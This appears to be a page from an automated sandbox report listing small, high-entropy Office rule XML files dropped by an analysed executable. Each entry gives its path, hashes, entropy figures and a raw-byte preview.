Preview:	<?xml..X...3.<3q.M.#z..I!..9..0..Y..x.yQ...j..G~/.....d27.1:'..Ji..G.%.....8.kD......Z.DHZ....h..t..a.,....4.0QT.kFg.!....6F.......I.k......+..S!.X....PV...{$y.>.y.,._.M.zN.q ....b.....l.8...<^s3L...`.U..U..Ee..d<...A..D.~...7......,....YK..d.2.M.....<94'?v....ar..QH.oqtP&..:..s....O......_.2.DSu......p...[i.PC.%.zF...L......h......@Z.S.......O.]}qy.gV....O.......N.)lP.B0...J...T...c.....u.q`.q.....o..=.V..h.tPE.u..7{1:c9.s..`..bu.Y..p9h...;....^..s..H..9.......B.Y......o$N-a...sfc..i..W.e....r...o...a.....0.>.8..>.\n....y..Og.E.r9...c..W.hE..1.6@...U\|...0U...VH..K...QkL!bN...>..4.PW.{.I..e....<=f..&5..%......XOt..-..s.S.j.i...!...5..C._..H~.O`.>4...:..JO..-[.5...sw.h...t...v........,M..........w_.{.5.)vk......-\.<.I..{7D+3..........s..F...@.I.3\.....N...%{.....-....:....P.......t.e. ..E.q.v?...^........P...b.P...r-A..1\\.>.1..."X.V..b.......y1.;...4a.~._...n..x.f.....3).J.D..$,...n\|...5.T.`...M..O.FG.....I.Ap...C.$..U....x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.884480709697031
Encrypted:	false
SSDEEP:	24:iVO/HpCSw3mWwpz3n/3L2FjIHTT1wGjmDOZB33UdswDYKCYqeZnBkonW9W4mLj1J:oKw34z3D2yHHWePkKwkKCYrmkGWRRhD
MD5:	FCE72DC65F775AF8B9FCEF5C4CCB388A
SHA1:	9158095B7B4FDA7EC8F828BE7AE9B61B877957C1
SHA-256:	D1C227F950CE8CFB9FEC5E7B0A6CF990FA136EB23B70CECA1D38C45209C06EE6
SHA-512:	DA8EEF15751B604E222637D29AF2AA8F84CEC949CF46B9F28E968C021B6C4FEC731D6FF5EA60965C3DEC52D71E4BC3FA02402B7AFD723ECE8EE3B89F50541B90
Malicious:	false
Preview:	<?xmlKuo....h.....gu.9..6m ..=.K...HK...%..4f..N..N.i.......>td$3...w.\|.z. .......v2U.}..N '.....+#......fIw.L...Z...].R.....<..)...0}...u9....eB.ZwwZ....3'......F.k..n.>aH..0.-......&.....R.N......Y.4.2..i........`].M.L.........z.xs"......Jl\9..XoJ....EZ..1\|.FEj$...yP..v.my............u...?+-nZ.`.l..M..}.[y.?.:d>-C....m.....&...V:......N......[..'WE6....P...u.w.....\|W.th.hugSO.@.U.n..2E..j&....0..ldT.!N .ohT2mK...f2..{k..R<....t.1^...G....78kFS....;.......em..W..MR.o..s.'.P.j.!.3..........%.D....i....!.YyE?...p<+.\.3.W`.UX.~,..^..v.lJ.H.6..yB....G.e.~..(9..szeI...8.o......S6A=8...mM./g....`..k..a<b.C.FN..S.K^.k...u.......bf..4.b~_g&..3...........L+.M....i<E.....D..L.}K,...:.....7.`\.H...E^.O...<4........Z...o..V..9g.56...K.v2.........4I...xe.m#}s..'.8....a..r.>._...=.j..z~...?.......r.^..u.Y.D".P./...g.......xF..T~6.......N...ac..6MK...Y?.Z..3J$..FX..UZ7.@..v}[w8........z.0).K......nt...Ie.V.zPi.j%.J.....4^...E..%.Kb..1..g6...W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.883594675256104
Encrypted:	false
SSDEEP:	48:4u6satylC7Z6gJdOhfXJjUH6v6UJINRvrZraTt9D:pzoylC7wgE5vv6sYRTwF
MD5:	CC7BE015111472B46CE8872B9CAA4DE7
SHA1:	9533D9AD02CC8BB314FF576FE30A354BC06AF670
SHA-256:	C522735A8B43472530928B053462CC5756BCBA7E14105257932FEA02E1883CE9
SHA-512:	06E2A99027DF31466962BB79AE424787A1397EE372C9095E602BA9C062D08A53673BDA6B1AAD397EDB0676660D12067EBE74E59FBCD3C7830FC8AE5F3B3E1BFE
Malicious:	false
Preview:	<?xml..kX.[...+.?..5.....#.^X..\...........%......+y.p$E....7.4...$..\..\....4..z...'........R+s." .j....4U...5v....,.`..P5..A..M2..(W(..).........F.=.[..`...E......%`..[+.b..$..v.KQ..=.p<.o.b.(....1.........s.sJ>D.j....8.Q..3.;3....d[O...G3...{..B.'...G..N....y.J..o..F...h@$V.....%....j..\|..X.y............p..c..e..~....8..z..m....Y.....I'#..e.....Cf......qLT.t..."..7?V...#1<G$...so......^v.@a..#..M.a..1..o...Z..Wt...N.#..n.....D.,.C.......=I.l.... .....8Dq...394.....H.%...B!j].=.~..W.{...cP...axIz......._.P...Efr..Q...Kr........j.I...IM.%......W.e....W:.e~...&.....;1..-.I.L.)...f3......Aw.;"U..'\|A..l.y...ktpx...u...x.).a.1.:......!%_.\|kn..d'....t{.)..p.........E.;...\|..z...".y.R.."}v.....#.).`j..X4.'x..R\.z._DH...9I...(..$ f..O.......:......i..B-...~...Ly...Si....u9.....z.!..Of`TYg..d....h....d...t...W..n0..\|..........Y(....1..dI.o.5...-.......@U..V.........r~r..j.ao...z....!....E....%..OkAg.s.....:..2P...V..6..n..NM..-...~!G...`:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.90825966949133
Encrypted:	false
SSDEEP:	48:nPdmQh40495H2JIywj69uaj4k56B/MC+D:PcQAZByw63tMRU
MD5:	E72674FACFFB235CD5AA7AF430BA498B
SHA1:	7C853F0EB4B1AA0399E8F5ED94DFB230A91E688A
SHA-256:	C9BF0F955041DB1CB8C5DD0D9B74CD217D5EBEBB209700DBBB629AFE06801D0A
SHA-512:	F5000B12E624B7279B9C95F6491AB82D063BDF295E19959603389F91772CF8677A58A8584F252797787DF8A96AD4A5BFD0F52B91984D99AF84FBE86C2D377689
Malicious:	false
Preview:	<?xml.1.Y.'0-.z...t,..1W....x.........>..,..2.#.:......F..=...W....n.N...Lv.#...!.iL.........4......g...K<t.._..%.......O-...3<.R..p:(\...-..7F.V....lz...a...1...Ij..p.-%....p...U.-.;7.W.........7.aa_.C.!%<l^s....GcRt]..v...~....]....zB.......6..u..w..e.'PK.F...T.)H..L.wOV..#...F.:!......'@$..>..-.>9.?...`..$..o..y.u.6...m{...#}t.e.D@.}....\|..m.,...I.....#..k.).Y.0.....vjIM.3.rul...S..`....F.4.Wk.L.....x...b,.....v..thk\......... ..@H...p...*..a(/g.....Q......^........nP(.dC.~.vh.)......^..E?.-...........i..X.E.....?..Q.e...9.....&2l].i..7....U.\|.;._..qB.F..d.......e..3<2<..W...Ut.HE..gx....(V...T...t.,....o.^8.%.....,<......mw..[........ot........X.R.x..Ir..rf..c.M.7..J.v.....s.....0..+....R.8....&q2..$.B..5F.....O..X...-......0.Q....>!.S....&.u....u.."..K.1.)v..o.t.R.......N'.....7...Q_=1...e....Q...N..../..-...y.5..\|.q`I\|.wHx..yxtl..CF.al}_K.......eW.N....I.[.[....mu<,..X>...bqzB...Z).....o......YW.tJ._d......" l.:L....Jq2=...?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8835156434465965
Encrypted:	false
SSDEEP:	24:bPLT54nzEzSxaidV9Pj9md+8YOBMg0A952EeARtUzDrpIfV88SNHEDOg6kpGqjQJ:bX5OQSxaidjjN5aKHzffET1jWD
MD5:	8910651508869B3A54233F6A81EB4D2C
SHA1:	A6216B7D4F3483833970631DFAB0E9D412AF18F6
SHA-256:	0653A477ECC10AA4C5C44225BD277970DD784138D3384B1308E8374DDF82B4F4
SHA-512:	EAC0B66B1C85E8701FF9343003632FFF2BC484383ECEEB776010CE602B24091BF5631327371B257039D49914263D9E2CFA92FDEF2ABA8E53CD5F0CEF6F5C685E
Malicious:	false
Preview:	<?xml.X)hi......._i.E.].........&...r...Q2q.~e....+.o...?....S.G..H..+.\...i.......u..1.1.....YXwG..uw.X....b..}..N.'..}..4.d\'.#.2v.W.<...x!..E....`../X^.ds..N.....T8-Q6...N..q.!....O=L.$.<E.V.......\|eE...q.T.>...5.(m.....b...+2.A....x.}..a,i".n.+.7cn..M.....S#k.*kq.><...}..\%v.4.nZ.......o.O...m..i"...>.&...O].5..,..gck.S.gm-l..q-KJy...<.....B....N......w.v.}T.L.R........[,....z......JaJ?....9:..~..\...x..K.ET../..q.....ON....&..b\..o..:(..$.<X..u+..X[..\...h..Qe.A.:<.aot..PT.+W&...I...e....}.P.9....s.~.Gm...d".LM........b..)..x....b5......[.a..].>?;..;...l..s..yl.Ms.gA..5.C..#9....F...X...^.-x...7.'Z..H.%:-...X.......4.A....9..(.:P..8..}I.#.a4?.n...1.T...q.....m.u........i..w...A.2.:......#.....0..@..j..@.S..I...C..^..^r....&8.. I#b.L..uAU.`..uZH.z<'..h.Z)...k.....f.Ia..qDu.0......\|.P...f...O.(]..a^....c..sV....b........!..T.y.y..bv}.D.........U^Q...6.="B......G....[.,.p......\k..(O.;.....1w.%p........P......~.dQ.._.h3D...:. zK.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.894361596242483
Encrypted:	false
SSDEEP:	48:6V7C2NUnc07k9s0qAf/1uPl5xqiVrt/rP4D7S5J6+D:aeMCciQqAf/1Y5MuB/rPSSfl
MD5:	7F4E19D532CA51B13E777DEA583B4EDF
SHA1:	0EB3C5E6B58AB0EB3FD2D68575CD131556C3C71C
SHA-256:	1A0798EE28A333D137768714C7757EC00BE08694E8C6DE60481970D2A86FACB5
SHA-512:	EDFA765B3B115ADC763A33F8B42501B678D97FD31CD5FC35EA2790BBB724712F789345BE4BFC66C3BFDF8E91C17CDE567550100B90B2EDDCD3EAACA6BB71D29B
Malicious:	false
Preview:	<?xml..VN.pK..V...B..I:.....y..`..UB7@L.Q.r.L.....M..{[;.]..A\|7.d..vx.k:...H.Bq.x......3b..C.J..v..mM...x.l...UC}..Ym.S5....W.....'..........+`........j..U..p.....L$'...P.....Y...N...Lb.~......\..5..KH...W..o.$@.n..^p...K....2..wTf.CJ.....G.,..<...L.O.._..Xh..f...j._.\s.....J.~q.P....H\..P..z.....#..p.T...da^........]7....p...w.....7.C,s..3.............Lt..z...%i..8YFZg...?.....a.C.&.W....2.s...k..u.u%.`.P..!..mke...,U.......LVBx....n....d...K....7qo,...i....d.[.n&..:..\L.m.s...o4.B.........R\!.......u.B...bA...b...Y...0.9...t..(........U...)#.W.oJ4..?......m..^......Jt=.....m.h.{p.........EU........0.{...02%. .YL.U.......cNL....9D.<h.-.bh.SZu12w...a.\Y~...Y...g............Z..0.y..\L.G....)]..:<..Cf.L.....L.....u...\|v....}azi.q(:...:..BQ.E`.rE.b..w...Rj^..1.h.L..a.)3..(.`..Y..(0E.j...\Rd.-.@z.......C..d...b...dg..w....q@@.U..?..Hk...}..\.+g.o.....".ls.Gk~.0h..\|...8-..`.0.Z..>.5...f@..._.I.-..y.*#I...I..}`p^......@..6?..+0.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.863001620315779
Encrypted:	false
SSDEEP:	48:fgfFz+NRUBJGtC8HqQ2ObfpegxHvnR/NEID:0ePtjKQdxtHPR/WU
MD5:	0764F5122975B8A597347E3B0ABE923E
SHA1:	A790DE996515A233C336D73452A2B080284C2F35
SHA-256:	1B72FC16DC3ED0D0F503AD303C2766D0A2FF0477430B70DAD941D2F7F65F902C
SHA-512:	F3061A930CB052EF9F8D7F572201C330986EDA1BA51B2A357BEE4020D8705825F26A1651BDCAE3968977BCE8B57D02564CA6743122D771B49704774C9DF2AB57
Malicious:	false
Preview:	<?xml...^.h..q........0h$1[...).jq.%.E..ft....$..-,!.....xDV....N.......n.._..Pt...se......z....kN.e..p.. W.H.29.....,.Z.."dZq.....K.'M...YA...x).fx.....8.....>X..C(.\|d...-..o..{o.W.....qdIx4./..@..$.....3V.J...%...~L.;J-....62.s..i5.k[\.Mk9.....v.CIF.qM~.dL.A5Y.q!... ..u"O:..J..dO2.2..,d........l4x\|.:...P..r...G.D&.[PM...j...B..sJ.\|.Q.....cJ..3.]%leZ.......l\|....Y...m.d...s../.\uA......~....Gvv.w........e}...9.......t.\|.@.....`..#x....4?.k....xo..........kZ...O.............._..L*k.E'.2p+...m\|j...LV..hJ[zH........d@.S....{..3...S.. 1...~.%.n.A".F..6x..r@VD..........MU..Y'.......u.]Z..[.D\..nb.F....p..i0.!O0.^....K.0<.qT....s1....-.N.i...qN...#R7\|.YD^p....iK.(....%jB......l..9R. .......{..ZY........].L$....0.+;.!.h..w.Tb...3.6.).i.K.....X...M(..(.m^.3nL...H#r?.B.oGR.7.<..,.J...VV.zd.C.J4...teb.C..]P....<..!..B....T.z..e....U.a@.,.'..../..........j.....W<W..;.h... L...r...f7...hO2..EFx.Na#..D..........I.0.>(...(.~...eb!e..".Z...`.:..LD7M.6.]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.897865920056165
Encrypted:	false
SSDEEP:	48:PeYobTkQNxAo0xpHxDCcP00RRtLXE0fArU2WAfD:PejoWxAoe9ccP00RTXJRs
MD5:	715B14A5D22063DDC383A87F3EACEE20
SHA1:	05BCEF4C3E07D2F2824CF0828B5FBA88CDF6B324
SHA-256:	AEA99771219324B0C97060DC78991BF40B0D5A98C6209F1A4D83180563F5F3C5
SHA-512:	ED294D80754679BEA30A1776887FD651448ACC5E759640D95A4F5AE0FDF3FF497452688EA2A184DB7029AA840AE900251B4AFADA122E24E695A27DC937A5A351
Malicious:	false
Preview:	<?xml.1c....A..Z\1...TU..X...<2+ ..A.^`......L..s5..F5.$}.).y.^j..h6r=/......2...8..h..ud.n!Pob.q.......w....4r.\...W...&..Q.e.i\..y.:....^d\..q..~i..'ky...b1..3.....G./_.w....:...._....5.>t.k...g...G.o..)..K...M.....6yO./..#..r.U.s..(..e....:...l%...... q........,.k.v..NY-b.."p.."f"^.....'....5DG].i.O.......jUg.3K..9...C.d...Y...d.....w........1.........?....@....Q(.k....D. .......\.../....vC/.."W..S.VQ\.U4...D..(..^?@.W..=.w-.@.".:HP...043....'W^..8h.........x..pZ...Nc..hU...dv!.....u.E[.W..J....Jy3......Q..xs1....!J...q...k.Qp.."B.5i..X.gq.a..$)+..v.$.J~v.:.!E..../'.K...M.....f..Pl1d..F4..co.....z......x...b[..#.........m.....>.^,....N..f....~].9.r.H.b...A..+.GYp.U..<.#B..Q.....]...&s....,.J5..?.........+.C...<.%...c....1.~..f..........j......E.oje..D..V.b..m.~...B.8~.#}....).gdFg..6=...]Mf.}e.../$.....+=... j7.:....S81.'...1Wi~.`...}8.. .=p6..c.....F.J.!RO.-..[..)..mi..A;n.=9[>. .OIW;...7.E. .\..-@........S..).09...=.....M..r...7l....%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.896023690850026
Encrypted:	false
SSDEEP:	48:XjRvRKbYiTT3+QQGF59z8oJBQ5h5rfbrD:XtgbtX3jFJJa5hBfD
MD5:	CBD417D0D1957913FEF07D0A05DC1820
SHA1:	7A6696AF08F2C70BFAFCB0DCE86DD9F9B62D91F5
SHA-256:	4E2C3369BCBB183E1512866570195D13BFC9394E44A7A771EDDE4B1184647EEC
SHA-512:	5382CCFB6812BFB5F12211E1D1F62E901E0EC039FD20EA289590F89F25DBC55C0FA501A59F804BA75ACB422F7F2E90DCA3A833F65AB5E815CA553598B3648CBE
Malicious:	false
Preview:	<?xml....R]...;...Lv0.4,.....(GTy...F..Y...t:.9.....{...!..f.C7P.]f.Zm>..'.x..@J...%].o.%Y..c^...JY...$.g..Wnx.F.W...%N..x: .....p O.*b0.6.\|t..?.}..Ei...s[..Y..1.!....."....!...R.R.Z....]....B.)......Z.J...V..a\|.,.9..e.x0hYc.0h\|.f.i9...,...&..Dp,......[=.Hw..7...U...L.\u......X.l.\|...E...9.t(....~.....................g.,........}..0....[...7X.X...$..D..(..U.x....'..`{...k.M.<.=H..Zt.H.....W.@...V...]J.....\.p........O.;...........Yt.t.C...".&ouIW..0#).+....c.E..r.'..gl.[.m.Im....Kv9.b..V...A.p...xn\|uZ."...._\.. ....+4-!....y...`+<...F..~D.Z.z..t`.).........=.....6-....'......\|5.a.......rx..P8..^O.S..6....4P}(+[.$.~.=R..g.h.".....j...#.]..I\|..q.KR..\...XZ.3s.3n.A..$.....k.zO;.DE..F.Q.k..L...N.+......L.X....lm...5,.c\|...4...M... .1........c%[+..+.l.........K.p.2...wVnq.........w...Yv.....9..&SK^...J..../9p;.>..y.>.qK+%...........4....5.y}K..........^.;.1.}5.$.......p..=....\!....8D......Z.. Y.G..=."\|...H....B.E.....T..._....z....."U..D..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.8785225750662775
Encrypted:	false
SSDEEP:	48:mxcEDqfZmgCzOIkXOJ5AMmgPIs1I+v//7HClTQ4KR4tmDkPfD:0qBmgC6Ikv8PIsy+v//7Hmx3tmDkT
MD5:	3E04BA07E34B11A15A0228700C782FB0
SHA1:	74517C44FFFB6B991C7CC127BC335ACAEEC4F1F6
SHA-256:	F99A56781472ACA91C8AE74B65BE182D4BC49EC50460B812619F43808138BFD7
SHA-512:	B40D1FAD127FB925F10732ADF69437C299890B040D3A76902350309A60908910B59A6D0CEBE1DA56A1683DD72D58F66679BF234C3EB24BE19CE8CF7A3160F297
Malicious:	false
Preview:	<?xmlk....ba...v.o..fN.....zV.4..Tx.8~...U... .z-...d..KV.J..s.....D.VjA@.'....X.n#j.n..Q..Z.....R...N.W b.2..y..@....3.KJ.}P.....\.H@................C...[IH8Qd...,.V.........rJC..6.i.p.l...3....o.YO..E..H..w_.....WJ. .B..U...............B.9b.SHi.,2&..$.."...y.%.-..a.Q....... ?.qaj8.-...k\`~.E.....O.Lmt..T....S.T@.N.u...a.....I..2-`~..:.OD.q...f..@.&....X.J..a...O{...I.......c.N....xK.8.@. F[.9pYa.....U.$...>S........v.5.....PT.oN...n..u...QDq..c.~.......I...C@e;.5.CjE&.js..J.....+td....A.=x?..V.LU..+Y&....b...G.>..j..2....u<^....9.p...-...\6....Q.....[...].N......[.......g<....9.2S+u.w.3....6?..~..0>.{..!_....<..iS..S.=.k.h.n.I...1..D..m\.0."I...-.0L..?...fF...).Kx../.=......^.g;.z5......jQ..^h{V#@k.&f.Yo.t....LL3f.X^.....]..Q6..u..h....:.L.....2.Dn.?.{.....N.......y..O>....a.-....'...o,...$...!....2.8.L..Jk..... ....-..".....f0N.7&..#..\.T=.s..-......g.B...n.;e,1o.......%..Ir...;..,.E.z..u./..S...hl...,..%d...s..vS`F..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.886250798897469
Encrypted:	false
SSDEEP:	48:qA6YnMXKv7KL48P4zle5112eXTnHrahhdpZPD:qAZnwu7KrPFl2ILahhnZ
MD5:	7E669E763D592755038C93C5C2515AC0
SHA1:	2D5BC7996C05430EF57093A6913DD43EDFBC3128
SHA-256:	4C1875DFAD80BC22045B31307522A1D9EA19EA6A8CFF64B04537591533315E20
SHA-512:	6796A2CCC897C5A20EC489C0AAEF42926DF596C22235E3971EC302FD19A461437465012CECEC26ADA3B9AE6845D62C6C594A2D9FE49C79EAF4272ED6384B9039
Malicious:	false
Preview:	<?xml..X@\|>.7.....h8.S,.em..ZP_.^;...Y.F.&.}......IH.....E.e.j.Y.]7.9.3..39.Za..\|`../..[..aD..........k...M>.V.j.L.1.U..)..I)..y.7..K9 _k.3.K..s-."..$,UI.;..oO.j\|...=#....Zb`.....7...~..PX?.].7l...Y...>....&2.<.!........2..4+..Q....z.......f/#.......p>..0N..+.y?.p.t:j....a4>c?..:'...g`k.L>.W......se9..r...n..YX..4.!..z.L.......b.....5.d.F_:-......<.\|O.&w..o..Na.......3...@...myE.....a..8.}].V].=.sE...]-\&.{h\....vCk.ZQ..T..O...V.eL...@8^...z^+..[..Yzp.#5.)..y..N.R.....O->......>....7..ji...}.-F..k......L..i_.....is].;!.....xA..E..c...GM.>.....8.QO ......=.n...A..U4-..`.}......D...T4.....7...........nB..=W=:.u7..;y...#....A_A!m.rO/..g.x..7.S3...k.o^.Y.m#X.x\|hjl)../.~S)...^.v....=i0.......t..'..6..."Fy....S...@.f.P0.....5..7.y..U....i...1.q..J....E..!..{C....%.]...lp.f.%.u..k.....d)..J..X.h.Z.\|.7#.....!...j4B......).;%..:+...(-@...5?.2...:.M..y.....I_z{.J......3+y...g..%.....7....N.....(O....Y..pu....yG.\:.2.....1.N!.Gc.j\|..CB...\|...*^...0..b.a.6bZ.=`.."d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.865131696390976
Encrypted:	false
SSDEEP:	48:drzOMUWMHYORccQY+Qnzur31XiwvqsTSDbfJQabSL7hD:dGMULYORcIniTMwvnTSDLJQSSLF
MD5:	2F1164D3A86FBE8E0C75F6DA89D36068
SHA1:	5F98C1E35925B36FB2354712AF47F9E51805AECA
SHA-256:	9C90887A05936268D3968F86D1DCD0CAB48D64FCE8D42DCEA5219EBA1EA16436
SHA-512:	7F97F2D69611F73EFE5D8DFB7EFA5C4AE20BE8D2033A3BAB41BB82762D728CF09E7B3963C22453A91F76749EAC7865431EB9711C2D8200767CA2794E41E18D30
Malicious:	false
Preview:	<?xml.... \....j..{i.C...;.....V(i..#%Ol.}...d.0.x}.1..wD.@..s..Ch%..C=.J'J7.\|.}(>B.$.U.(n.....1>Z..A}....E:t.............!..\|..v}h.$./w...a.Oy.........5.PZ.).E.]pr>&.)5B....L..4.&..Ce.3..lr...W........}...N5~.......>..hS..Z.......;?......a...8X\|...JI.a....[....?.....X:4l.0...e..a..i.m....J^5....&.5.....X..5..}F...U.k].-..4.z....3...(zDc.z.5R.....92...#w7.q..@.0P.7....Z.......8...s...:?(Nu..XZ.<..h...[!..5..]..e.hBS.{j..K"'=.@.9.].O.tz....h...@...../T.n.....f..E._%.@...O.z....G..o.5i!...X."Ai..A5......+D.B.?MZH-...Y.......>..pE...w..y..V.r...H.t..w.#..0:.U.....D.....R....!...........u...L......{.N.?.e.e...W..]G\|.~.;.........-..D90..t6...v.r..e0S5.....Z*.n}...I.H.H.dy{z ....1.-....R..T.9._.I.......,P....D...3#..;3h]4U.....y..[7.....}.Rv..sn$n...-..!.8......S@.....7...99.......d?..\|....e@c.q.P.....7.. .4.,.....KJ=)..ff.1.H?..../.\|.a.Q..C<%..>....9}.(..V......c..V>i......1q...)...P9A. &.sW. ....)C...&mv@[>...../........4a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.906568298783417
Encrypted:	false
SSDEEP:	48:uUv/DldZAia4JOHcn0Tz7YNsEOKBbskyxv91xv5D:u6dZAia4T0Tz7Y+VijyZz
MD5:	47E04F41EFDDAC48208AF0ACC664C252
SHA1:	433C7010C3E27EAD510464714F4D0F151D994C30
SHA-256:	456DAB42409451D5F8EAC2727FF612DC754062B61BD02650290C1DB9DBF312ED
SHA-512:	BB5323D6D6ECD522FBBF5E2E7E8A638479C71920340D1036A8E6B22C798B384E5ABF59A5F44886AAB63FF553F4C42BAA8CC194EE4E473DE67F166021B78C2BC7
Malicious:	false
Preview:	<?xml...u..DQ:.3...&.....K..}..e.6..}...M.O..>dF6..~.&.z.y_8t.57r,........\.C.9a..-$..........}Y..~..F..Um.{%..-g4......d.yp.~".?.']w...nI..t..2Z.@...z3"L.Q...&.f.MQ.u..^4.l..V....US..O.\|.....6u.9...HM......D.M....N.J.....r..r.........\|.}t.Od].1.....Jh...!..G...z.....NloCI...1;a........)O>.3D..m..9.*0..Z.\|A.......aR.b..+[u.^!.6......#.0<..."..a;.R_.]...-R.#_...&X...p>....j.U.\../.>.p..,.f..H.4.......m.,..D..Q.....E2E.r...2l..3.E]}\|..eXp.....o'w..b.).}..o...L2.yy..N]Y_\|.p..\|..!..60..E..R..e.....K...nw...j..t...;E..$...a.JG&.N...;.c ..P..X.\|.o..V............T.W..9...=."...4..{.........8.........B.X.KM2'....sZ.j..UVV...beG.a...}.p..~..............!....5.=...DP..."". .a~HzV,.I....O.+....1.j...!Q.X.g(Q..k^.....p.#x..R.1....".n35.({.7..r.{.^#....u...T..7.}...K;......G..\..2..1.C.4hu...5..7;....p....8.../6...H....Q...0I.(djL.l.?b..)....W.+.jY(..>......3.}.;z.b..-.w.B.0..h..>#.bf...$P`.'k.N`.e.w.s.!.`F..hk....3./......7J.U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.886578610912882
Encrypted:	false
SSDEEP:	24:f4qrsu1nlU2tm+p2ZCZqseOnr/4cyXE8CAFpBtcZ/6GX7YryNXyYN/JdjXOLveOO:sYusm62ZAjnrAXFRBtcZdLptt7ji31ED
MD5:	182AB22F79556FD9587D28692F0C3D36
SHA1:	65F7C35CF9F465C489CEB033799C81881E5B9C72
SHA-256:	2D0049F4C34EE7CC00EC92FE3E9DC70D7A1AA88F97B4286E1219AB82DB4698FB
SHA-512:	B62D9874BFF7EACE72E4E19AFE596D76DE029014DAB46FBC2D03D929B772188B6709103BEB22A12795AA06B88AD94D17AABC64630A8A87A5FFD0C07C92256AC1
Malicious:	false
Preview:	<?xml..._...?g.94.w+.FU..!.0.....@.Z..X^.9.d...`.%.....\..k.yq....A..u4.~]-..c..9:.K...{.4.E...2. ..m.@.9]..1.s.,!.............0..<......ao..U5E..5..oE.\|3I.j.!.H.%..uE..S.Y...ON..T2..-.......'9.....H..C%...1.%.'."c. .....6. ..........6EX....J...}.Q.W,.......R..~...xv.#.2.}.b{".o.A.....+B.i....`X=....xt.H.ED...3....U.F."..ZOC.Re..4< ].tFd....s..m.......4...h.)C.........z......v..R.Y.y.i.'.K.Aq..3b...oUy&c\|.I4]Hv.jm.._....[..uOq...............1...nZX.d...p"....)....c..u..'Y.@..N'-%1@..^lV.5-.c...........k....[.....vl.x.9.~m\|.^.....E. N,haN.#fj...._..d..iv.....V..... Q.b......{.....&.p.M.X... .C...a.3}i3..PR..Z..{E.Sy...=...{.........i.kd.....GL....5q..:...t...!..eI....=..2Tx...B.!j...^F.<.}..N..W.z3..:Ju].....q....g?...>..]-.6.r......xD.=..d4~...>....3..ICJ.V.[..N..t...C....h....6.=..2k......\l.>.V.!..O...1../..../...6...j.GZ.>.i.....Z..L.e....4.*&."z.........\.$....RM..U...4..dY..A.f%&. ./.l.j......{Y........[}z....W.V...Ta\|w..s..D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.878471356655021
Encrypted:	false
SSDEEP:	48:8Cp4/vAy5zPA79qep4Xq7bGRWr6sDyTNxK3skMg2SHRD:gAy9Mya7bGsmTNKskMdO
MD5:	BCA515B8B004323772C3936FC9ABDDDD
SHA1:	43DF00869BE073D612D678B7C1AB88668F3B4E8D
SHA-256:	DA2B4980EF41915391744AEB900298F3A0211CD4ECD0E38DB962BDB95F7836BE
SHA-512:	4C3FF12D9E1FFEB234B8BBD9D60C46C8F91E8A1B152DE67463F501D833B58096C486DD44FB80239BE8BCA1C235522FBE1C01409BB25EAD07730C9D071B8E3630
Malicious:	false
